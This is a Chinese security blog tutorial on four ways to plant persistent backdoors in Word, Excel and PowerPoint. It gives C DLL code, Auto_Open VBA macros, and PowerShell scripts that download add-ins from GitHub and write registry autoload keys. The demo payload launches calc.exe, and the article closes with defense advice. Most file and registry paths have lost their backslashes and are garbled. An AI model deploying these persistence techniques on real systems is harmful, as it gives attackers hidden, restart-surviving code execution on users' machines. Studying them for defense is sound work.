导语:如何编写一个自动利用的Office后门POC脚本?
0x00 前言
对于Windows平台,Microsoft Office的普及率很高。站在攻击者的角度,通常会选择在Office软件中植入后门。
我在一篇博客上看到了Office后门的多种利用方法,我对其进行了研究测试,挑选其中较为通用、隐蔽的方式,编写POC脚本实现自动利用。
博客地址:
https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
作者: William [email protected]_knows
POC:
https://github.com/3gstudent/Office-Persistence
0x01 简介
本文将要介绍以下内容:
· 针对Word、Excel、PowerPoint的四种后门利用方法
· 编写Powershell脚本实现自动利用
· 比较优缺点,分析防御方法
0x02 Word WLL
1、手动测试
开发工具:VC6.0
新建dll工程,代码如下:
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL,"hello world,I'm 3kb","title",MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; }return TRUE;}
编译成msg.dll,作如下设置减小编译文件体积:
· Build:release
· 添加代码:#pragma comment(linker, “/OPT:nowin98 “)
· 工程设置->Win32 Release->C/C++->Code Generation->Use run-time library:->Multithreaded DLL
经过优化,dll大小为3kb
重命名为msg.wll,保存路径如下:
C:UsersaAppDataRoamingMicrosoftWordStartup
启动Word.exe,弹框,界面卡住,Word无法正常执行;关闭弹出的对话框后,Word正常启动
如下图
注:
通过Metasploit的msfvenom
生成的dll,会导致Word程序崩溃
修改c代码,实现启动计算器,代码如下:
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("calc.exe",SW_SHOWNORMAL); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; }return TRUE;}
编译成calc.dll,优化后大小为3kb
重命名为calc.wll,保存在路径C:UsersaAppDataRoamingMicrosoftWordStartup
启动Word.exe,弹出计算器,并且word正常启动
如下图
注:
Startup路径可保存多个wll,支持启动多个wll
2、编写Powershell脚本实现
wll路径对应的powershell代码如下:
$env:APPDATA+"MicrosoftWordStartupcalc.wll"
将编译好的3kb大小的calc.dll作base64加密并存储于变量中:
$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcdllbase64.txt")
用变量$fileContent存储base64加密的calc.dll
base64解密并释放calc.wll至Startup路径的代码见github
代码运行后,在C:UsersaAppDataRoamingMicrosoftWordStartup
生成calc.wll,启动word.exe时,弹出计算器
0x03 Excel XLL
1、手动测试
新建dll工程,添加导出函数xlAutoOpen,具体代码如下:
void xlAutoOpen(){ WinExec("calc.exe",SW_SHOWNORMAL);}BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
添加文件,设置类型:Text File
名称:工程同名文件.def
写入:
EXPORTSxlAutoOpen
编译成calc2.dll,导出函数为xlAutoOpen(),优化后大小为3kb
重命名为calc.xll,保存路径如下:
%appdata%MicrosoftAddIns
查找注册表键值:
Office2010对应的键值为:
HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0ExcelOptions
Office2013对应的键值为:
HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0ExcelOptions
新建字符串
值: OPEN
: /R calc.xll
启动Excel.exe,弹出计算器,并且Excel正常启动
2、编写Powershell脚本实现
同上,calc2.dll作base64加密并存储于变量中:
$fileContent = [System.IO.File]::ReadAllBytes('calc.xll')$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcxllbase64.txt")
用变量$fileContent存储base64加密的calc.xll
通过powershell判断office版本:
dir -name "C:Program FilesMicrosoft OfficeOffice*"
回显: Office14
对字符串截取,截取出版本号14,代码如下:
$OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*"$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )
加入异常捕获,如果系统未安装Office,返回提示信息:
Try { $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) } Catch { Write-Host "[!] I can't find Microsoft Office!" Write-Host "[+] Please reinput a correct path." } Write-Host "Microsoft Office Version:" $Ver
拼接不同Office版本对应的注册表路径:
$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0Excel"
新建键:Options
New-Item -type Directory $ExcelRegPath"Options" | Out-Null
新建字符串值: OPEN: /R calc.xll :
New-ItemProperty $ExcelRegPath"Options" OPEN -value "/R calc.xll" -propertyType string | Out-Null
完整代码见github
0x04 Excel VBA add-ins
1、手动测试
启动Excel,开启开发工具选项,选择Visual Basic
插入模块,写入以下代码:
Sub Auto_Open() Set objShell = CreateObject("Wscript.Shell") objShell.Exec ("calc.exe")End Sub
保存为calc.xlam,路径为:
%appdata%MicrosoftExcelXLSTART
启动Excel.exe,弹出计算器,并且Excel正常启动
2、编写Powershell脚本实现
保存路径为:
%appdata%MicrosoftExcelXLSTARTcalc.xlam
对应powershell代码如下:
$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.xlam",$env:APPDATA+"MicrosoftExcelXLSTARTcalc.xlam")
0x05 PowerPoint VBA add-ins
1、手动测试
启动PowerPoint,开启开发工具选项,选择Visual Basic
插入模块,写入以下代码:
Sub Auto_Open() Set objShell = CreateObject("Wscript.Shell") objShell.Exec ("calc.exe")End Sub
保存为calc.ppa,路径为:
%appdata%MicrosoftAddIns
查找注册表键值:
Office2010对应的键值为:
HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0PowerPoint
Office2013对应的键值为:
HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0PowerPoint
新建项AddIns,新建子项calc(对应calc.ppa)
新建DWORD
值: Autoload
: 1
新建字符串
值: Path
: calc.ppa
启动PowerPoint.exe,弹出计算器,并且PowerPoint正常启动
2、编写Powershell脚本实现
保存路径为:
%appdata%MicrosoftAddInscalc.ppa
对应powershell代码如下:
$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.ppa",$env:APPDATA+"MicrosoftAddInscalc.ppa")
注册表路径:HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0PowerPoint
Try { $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) } Catch { Write-Host "[!] I can't find Microsoft Office!" Write-Host "[+] Please reinput a correct path." return } Write-Host "Microsoft Office Version:" $Ver$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0PowerPoint"
新建键AddIns:
New-Item -type Directory $ExcelRegPath"AddIns" | Out-Null
新建键calc:
New-Item -type Directory $ExcelRegPath"AddInscalc" | Out-Null
新建DWORD值: Autoload: 1
New-ItemProperty $ExcelRegPath"AddInscalc" Autoload -value "1" -propertyType DWORD | Out-Null
新建字符串值: Path: calc.ppa
New-ItemProperty $ExcelRegPath"AddInscalc" Path -value "calc.ppa" -propertyType string | Out-Null
完整代码如下:
$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.ppa",$env:APPDATA+"MicrosoftAddInscalc.ppa")Try { $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) } Catch { Write-Host "[!] I can't find Microsoft Office!" Write-Host "[+] Please reinput a correct path." return } Write-Host "Microsoft Office Version:" $Ver$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0PowerPoint"New-Item -type Directory $ExcelRegPath"AddIns" | Out-NullNew-Item -type Directory $ExcelRegPath"AddInscalc" | Out-NullNew-ItemProperty $ExcelRegPath"AddInscalc" Autoload -value "1" -propertyType DWORD | Out-NullNew-ItemProperty $ExcelRegPath"AddInscalc" Path -value "calc.ppa" -propertyType string | Out-Null
注:
以上四种方法的利用脚本我已经整合并上传至github,地址为:
https://github.com/3gstudent/Office-Persistence
0x06 检测和防御
1、Word
禁用所有加载项,如下图
禁用所有控件,如下图
禁用所有宏,如下图
Word WLL依然能够执行
防御方法:
删除信任位置:
C:UsersaAppDataRoamingMicrosoftWordStartup
如下图
注:
添加时不能使用环境变量%appdata%
2、Excel
Excel XLL和Excel VBA add-ins:
防御方法:
禁用所有加载项
3、PowerPoint
PowerPoint VBA add-ins:
防御方法:
禁用所有加载项
0x07 小结
本文介绍了x86系统下Word、Excel、PowerPoint中常用的四种后门利用方式,开源POC脚本以便于测试,最后站在防御角度,介绍了具体的防御方法。x64系统的利用方法作适当修改就好。